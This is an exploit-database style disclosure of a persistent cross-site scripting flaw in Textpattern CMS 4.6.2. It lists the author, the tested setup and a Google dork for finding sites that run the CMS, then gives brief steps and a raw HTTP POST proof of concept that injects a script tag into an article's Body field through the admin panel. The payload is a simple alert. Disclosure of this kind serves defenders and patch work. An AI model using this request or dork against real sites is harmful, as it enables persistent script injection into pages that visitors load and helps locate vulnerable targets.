Textpattern CMS 4.6.2 Cross Site Scripting

`# Exploit Title: Textpattern CMS 4.6.2 - 'body' Persistent Cross-Site Scripting  
# Exploit Author: Alperen Ergel  
# Web Site: https://alperenae.gitbook.io/  
# Software Homepage: https://textpattern.com/  
# Version : 4.6.2  
# Tested on: windows 10 / xammp  
# Category: WebApp  
# Google Dork: intext:"Published with Textpattern CMS"  
# Date: 2020-10-29  
# CVE :-  
######## Description ########  
#  
# 1-) Loggin administrator page  
#   
# 2-) Write new blog add payload to 'body'  
#  
# 3-) Back to web site then will be work payload  
#  
#  
######## Proof of Concept ########  
  
========>>> REQUEST <<<=========  
  
POST /textpattern/textpattern/index.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://localhost/textpattern/textpattern/index.php?event=article&ID=3  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------127132438115577379281797109093  
Content-Length: 6080  
Connection: close  
Cookie: txp_login=localhost%2Ca170e235c4f2f59bb1300272c470807d; txp_login_public=a834cbdc8blocalhost; __atuvc=1%7C40; __atuvs=5f77129c504c17ce000  
  
### SNIPPP HERE ####  
  
-----------------------------127132438115577379281797109093  
Content-Disposition: form-data; name="Title"  
  
XSS  
-----------------------------127132438115577379281797109093  
Content-Disposition: form-data; name="textile_body"  
  
1  
-----------------------------127132438115577379281797109093  
Content-Disposition: form-data; name="Body"  
  
<script>alert(1)</script>  
-----------------------------127132438115577379281797109093  
`